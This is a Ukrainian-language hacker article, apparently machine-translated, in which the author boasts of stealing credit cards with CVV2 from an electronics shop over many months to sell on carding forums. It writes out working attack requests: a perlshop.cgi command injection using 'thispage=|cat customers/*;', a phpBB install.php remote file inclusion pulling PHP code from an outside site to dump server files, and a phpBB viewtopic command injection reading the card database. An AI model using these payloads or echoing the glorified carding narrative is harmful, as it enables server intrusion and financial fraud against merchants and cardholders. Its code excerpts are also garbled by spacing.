Корисні статті для хакера і не тільки

У глибокому моєму дитинстві, коли ще купка виродків не розвалиться СРСР, почув я фразу "Битва за врожай". І зараз, коли я пишу цю статтю, зрозумів я, що саме це фраза і стане її назвою.

Ти напевно знаєш, що заробіток хакера, справа епізодичне і непостійне, в той же час гроші на їжу, пиво та інші радості потрібні завжди. Більшість клієнтів, які звертаються до мене просить зламати відразу paypal.com або ebay.com, припускаючи, напевно, що як мінімум божественне походження хакерів і моє зокрема.
Постійно ж мати свої кревні хакер може тільки в разі якщо отримає постійний доступ до торгових візків декількох середніх магазинів, щодня знімаючи урожай з них і обмінюючи його на вічнозелені одиниці на одному з кардерських форумів, наприклад таких, як Carder-World.ru. Сьогодні зусиллями ФСБ закриті практично всі Кардерські форуми, в тому числі і Carder-World.ru, краще б вахабітів і бойовиків ловили, "герої плаща і кинджала".

І я хочу розповісти історію про довгий змагання з адміном одного такого шопа, який торгує електронікою.
Епізод перший.
Більше року тому бачив я уразливість в скрипті perlshop.cgi version = 3.1
http://www.xakep.ru/post/21567/default.asp
суть бага полягало в тому, що можна було виконуватиме команди на сервері:
/perlshop.cgi?ACTION=enter&thispage=|ls;&ORDER_ID=!ORDERID!
перегляд исходника показував що відкриття файлів в директорії catalog відбувається без перевірки на символи | ;

if (defined ($ input { 'THISPAGE'})) {### Send a catalog page back with the unique ID set
$ prev_page = ""; $ next_page = "";
if ($ add_navigation eq 'yes') {
$ catalog_page = "$ catalog_directory / $ input { 'THISPAGE'}";
if (-e $ catalog_page) {
open (TEMPLATE, $ catalog_page) || & err_trap ( "can not open template file: $ catalog_page");
$ temp = <TEMPLATE>;
if ($ temp = ~ / <(\! \ - \ -)? PSTAG \ s + prevpage \ s * = \ s * \ "? ([^ \"] +?) \ "? \ s + nextpage \ s * = \ s * \ "? ([^ \"] +?) \ "? \ s * (\ - \ -)?> / i

Переглянувши всі бажние шопи, мені вдалося знайти один, в якому адмін не дивлячись на заборону, зберігав кредитні карти з cvv2. Знаючи, що база з кредит зберігатися за замовчуванням в директорії customers, я щодня забирав новий урожай таким нехитрим способом:
/perlshop.cgi?ACTION=ENTER&thispage=|cat%20customers/*;&ORDER_ID=!ORDERID!
На жаль на сервері не було ні wget ні links, залити shell і закріпитися там я не міг.

Але щастя моє тривало недовго, через три місяці адмін шопа відчув недобре, і одного разу завантаживши урл замість кред я побачив "птицю Обломінго". Адмін змінив візок на version = 4.4.0. Знайшовши її в інеті і переглянувши вихідні я зрозумів, що з нею мені радості не буде, | різався:
open (TEMPLATE, $ catalog_page) or
error_trap ( "can not open template file $ catalog_page: $!");

----------
видалено
----------
# Remove invalid characters from the THISPAGE parameter
$ input { 'THISPAGE'} = ~ s / [| () <>; &] // g;
Правда в скрипті немає перевірки на "null-byte poison". Але це як я зрозумів, пов'язане з тим що thispage в скрипті повинен відкривати файли тільки з catalog - open (TEMPLATE, $ catalog_page).

Епізод другий.
Голод і холод змушує людей думати інтенсивніше. Зрозумівши, що головний вхід мені відрізаний, я вирішив перевірити запасний. Пробивши ip сервера я побачив, що на ньому числяться ще сто з гаком сайтів. Це вже давало шанс.

Почалася тупа робота по перегляду сайтів. І ось на одному з них виявився PhpBB 2.0.1. Знайшовши опис бага я швидко сваял functions_selects.php підвантажуємий бажним скриптом форуму install.php:
<? php
$ handle = opendir ( '/');
echo "Directory handle: $ handle \ n";
echo "Files: \ n";
while ($ file = readdir ($ handle)) {
print "$ file \ n";
$ f = fopen ( "/ $ file", "r");
fpassthru ($ f);
}
closedir ($ handle);
?>
Залив його до себе на сайт durito.narod.ru в директорію includes і виконавши команду
/forum/install.php?m=http://durito.narod.ru/ я отримав лістинг кореня. Змінюючи шлях і заливаючи змінені файли на durito.narod.ru я добрався до заповітної директорії customers і її багатств. Життя налагоджувалося.

Але ненадовго, через п'ять місяців бажний форум зник.

Епізод третій.
Їсти хочеться завжди. І я став знову шерстити сайти сервера на наявність багів. І знову удача PhpBB 2.0.8. А тут як раз виявлена sql-ін'єкція в форумах до PhpBB 2.0.10. Розібравшись з описом вразливістю я знову потрапляю в середину сервера. Але тут мене чекав перший облом, папка customers виявилося порожньою. Другий облом не змусив себе чекати, перегляд файлів в юзерскій директоріях / home / імя_юзера / теж закрили. Переглядати файли можна було тільки в / public_html /. Тоді я вирішив глянути вихідні perlshop.cgi і зрозумів чому не було кред. Адмін переніс базу в / home / імя_юзера / data / customers, на щастя я мав можливість переглядати вміст в ній.

Відкривши viewtopic.php? T = 7 & highlight =% 2527. $ poster =% 60 $ cmd% 60.% 2527 & cmd = cat% 20 / home / імя_юзера / data / customers / *;
я дуже здивувався, в базі лежало всього 2 креди. Вирішивши, що шоп розорився, я пішов спати.
Через кілька днів я повернувся, і так же побачив, що у візку лежить кілька кред, але це були інший кредит! Я почав вести спостереження за сховищем і зрозумів що близько 7.30 ранку адмін видаляє всі дані про транзакції за добу з папки customers, виняток робилося тільки в неділю, так що це був єдиний день у тижні коли я не вставав о 7 ранку і не втік до комп'ютера , що б забрати врожай швидше адміна. Так ми з ним жили "душа в душу" ще півроку, я вставав на півгодини раніше його, а як говорить народне прислів'я: "хто рано встає - тому Бог подає".

І ось вчора, якась наволоч, замість PhpBB 2.0.8 поставила на своєму сайті vBulletin Version 3.0.8. І знову рожева птиця Обломінго махнула мені крилом. Але хакер - птах терпляча і Main Kampf за урожай з адміном ще не завершений.

З.И. Бій продожать, сьогодні я знайшов ще одну дірку у хостера, але про неї розкажу потім


Твій bug Durito.
_________________
EAT THE RICH!